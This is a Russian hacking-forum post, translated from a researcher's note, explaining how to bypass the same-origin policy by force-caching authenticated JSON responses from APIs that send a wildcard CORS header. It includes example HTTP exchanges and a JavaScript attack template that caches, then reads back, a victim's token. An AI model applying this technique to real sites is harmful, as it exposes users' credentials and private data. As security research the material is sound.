• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья JSON хакинг, техника обхода SOP с Cache-Control

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Сегодня я опишу технику обхода SOP, используя кеш во время JSON хакинга. Это не всегда возможно, нужно определенные условия, но если условия правильные, вы можете получить неожиданно хороший результат.


TL; DR
Кэшированные результаты из состояний с аутентификацией импортируются как запросы без аутентификации.
Однако это условие обязательно.
Код:
Access-Control-Allow-Origin: *
и кэш должен быть доступен для уязвимого API.


SOP и CORS
SOP (политика одного источника) - это критически важный механизм безопасности, который ограничивает взаимодействие документа или сценария, загруженного из одного источника, с ресурсом из другого источника. Это помогает изолировать потенциально вредоносные документы, уменьшая возможные направления атак.

Распределение ресурсов между источниками ( CORS ) - это механизм, который использует дополнительные заголовки HTTP, чтобы сообщить браузерам, чтобы веб-приложение, работающее с одним источником, получало доступ к выбранным ресурсам из другого источника. Веб-приложение выполняет HTTP-запрос перекрестного источника, когда оно запрашивает ресурс, который имеет другой источник (домен, протокол или порт) от своего собственного.
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORSи когда Origin является подстановочным знаком, ресурсы могут быть прочитаны, только если нет аутентификации.

При условии:
Код:
Access-Control-Allow-Origin: *
ресурсы могут быть прочитаны, если нет аутентификации.


Cache-Control
HTTP-заголовок Cache-Control содержит инструкции для кэширования как запросов, так и ответов. Данная директива в запросе не означает, что такая же директива должна быть в ответе.


Обход SOP при помощи CC (Cache-Control)

Процесс чтения кэшированных данных предоставляет пользователю прямое чтение данных в браузере, не запрашивая их с удаленного сервера. Это позволяет хакеру обходить SOP в форме принудительного кэширования на страницах с конфиденциальной информацией или считывать уже кэшированные результаты. Потому что запросы, которые не включают аутентификацию, когда политика источника является групповым символом, могут прочитать ответ.

с аутентификацией
Код:
Access-Control-Allow-Origin: *

{"username":"hahwul","token":"ABCDEFG123456"}
без аутентификации
Код:
Access-Control-Allow-Origin: *

{}


Чтение кешированного ответа

1) кэширование чувствительных данных
Код:
< req >
GET /yourapi HTTP/1.1
Host: blahblah~~
Cache-Control: private, max-age=3600
Cookie: auth=9839hg1209f1h0f9h

< res >
HTTP/1.1 200 OK
Server: nginx
Cache-Control: private, max-age=3600
Access-Control-Allow-Origin: *

{"username":"hahwul","token":"ABCDEFG123456"}

2) чтение кэшированных данных
Код:
< req >
GET /yourapi HTTP/1.1
Host: blahblah~~
Origin: *

< res >
HTTP/1.1 200 OK
Server: nginx
Cache-Control: private, max-age=3600
Access-Control-Allow-Origin: *

{"username":"hahwul","token":"ABCDEFG123456"}


Код атаки
Атака очень простая
1) кеширование
2) читаем данные из кеша

Код:
<!-- Step1, Caching with Auth -->
<script> 
var url = "https://vulnpage?cachepoint"; 
fetch(url, {   
    method: 'GET',   
    cache: 'force-cache'
    });
</script>
<!-- Sometimes, it is convenient to use the img tag when it is cached by default. -->
<!-- <img src="https://vulnpage?cachepoint"> -->


<!-- Step2, Get Userdata without Auth(Using cache)-->
<script>
//delay for cached
setTimeout(function (){
  // get information without auth
  $.ajax({
      url: "/vulnpage?cachepoint",
      type: "get",
      xhrFields: {
        withCredentials: false
      },
      headers: {
          "Accept":"application/json",
          "Accept-Language":"ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3",
      },
      success: function (data) {
          console.info(data);
      }
  });
}, 2000);
</script>
Подсказка: не сработает, но в случае, если это публичный кеш, мы добавляем произвольные параметры.

Принудительное кэширование в Request.cache может использоваться для создания принудительно кэшируемых запросов. Иногда удобно использовать тег img, когда он кэшируется по умолчанию.
Код:
// e.g
if (res.status === 200) {
      controller.abort()
      controller = new AbortController();
      return fetch("some.json", {cache: "force-cache", mode: "same-origin", signal: controller.signal})
    }


Вывод
Это не тот способ, который можно все время использовать, ведь есть некоторые ограничения при использовании. Но это хорошая техника, если условия правильные.


оригинальная заметка
автор @hahwul
Перевод: tabac, специально для https://xss.pro
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх